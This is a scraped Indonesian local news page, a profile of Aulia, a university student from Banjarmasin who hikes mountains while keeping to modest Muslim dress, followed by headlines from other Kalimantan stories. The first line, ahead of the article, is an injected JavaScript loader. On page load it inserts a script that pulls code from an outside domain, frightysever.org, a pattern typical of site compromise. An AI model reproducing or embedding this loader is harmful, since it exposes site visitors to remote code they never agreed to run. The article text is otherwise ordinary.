(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Di zaman serba cepat yang dulunya terbatas ruang dan waktu, kini itu semua sudah berubah. Mulai dari gaya hidup, pakaian, hingga ruang pertemanan semakin terbuka tanpa batas ruang dan waktu.
Adalah Aulia (22) perempuan kelahiran Anjir Pasar 10 Januari 1995 ini punya hobi jalan-jalan alias seorang traveller. Meski masih terdaftar sebagai mahasiswa aktif ddi FKIP Universitas Lambung Mangkurat, mahasiswa Pendidikan Sejarah angkatan 2013 sering melakukan perjalanan dengan berbagai cara dan berbagai tempat.
Aulia mengatakan jalan-jalannya adalah kebutuhan setiap orang untuk merefresh kembali tubuh agar tidak jenuh dengan kehidupanurban yang ada dihirup pikuk kota. Tempat yang sering menjadi destinasi favorit yaitu pantai, danau mapun lokasi yang bernuansa alam, seperti mendaki pegunangan dan menjelajah hutan.
“Kalo pendakian saya sudah beberapa kali ke Gunung Halau-Halau HST, Aurbunak di Aranio Kabupaten Banjar dan baru saja balik dari Gunung Gede Pangrango di Jawa Barat,†ungkapnya.
Dalam memanajemen perjalanan ada perlengkapan yang harus dibawa. Identitas diri tidak boleh ketinggalan saat melakukan perjalanan, barang bawaan saat travelling juga harus tepat dan sesuai dengan bobot untuk kelancaran dalam perjalanan.
“Sebenernya saya termasuk orang yang ceroboh, dan biasanya minim persiapan, alias spontan. Dan itu kurang baik buat dicontoh, tapi yang penting peralatan sholat dan baju-baju yang tidak melihatkan aurat,†kata Aulia sambil tertawa.
Menanggapi tentang seorang muslimah yang suka bepertualang tapi tetap menjaga perintah agama, Aulia memaparkan untuk beberapa tempat bermedan mudah untuk dilalui pakaian syari sama sekali tidak mengganggu. Namun pada beberapa tempat seperti gunung, ia lebih memilih menggunakan atasan lengan panjang dan celana panjang, dengan catatan atasan dan celana yang dipakai tidak ketat alias longgar, memudahkan pada saat proses pendakian.
“Tak ada tanggapan yang cukup serius dari traveller lain mengenai pakaian yang saya gunakan pada saat saya travelling dan selama khususnya pendakian yang pernah saya lakukan, saya belum pernah bertemu pendaki wanita lain yang menggunakan pakaian syari,†bebernya.
“Pada saat melakukan pendakian saya lebih menoleransi diri saya, saya menggunakan atasan lengan panjang dan celana panjang yang longgar pada saat pendakian agar lebih mudah pada saat proses pendakian,†pungkasnya. (ammar)
KANALKALIMANTAN.COM, BANJARBARU - Nilai investasi di Kota Banjarbaru terus mengalir dari tahun ke tahun. Setidaknya… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Forum Rektor Perguruan Tinggi Muhammadiyah dan Aisyiyah (FR PTMA) secara serentak menggelar… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur mendapat kejutan berupa ucapan selamat ulang tahun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puluhan orang calon Panitia Pemilihan Kecamatan (PPK) untuk Pilkada 2024 di Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Komunikasi dan Informatika (Diskominfo) Kota Banjarbaru menggelar bimbingan teknis Sistem Informasi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Persiapan pencalonan bakal pasangam calon (Paslon) melalui jalur dukungan perseorangan telah dibuka… Read More
This website uses cookies.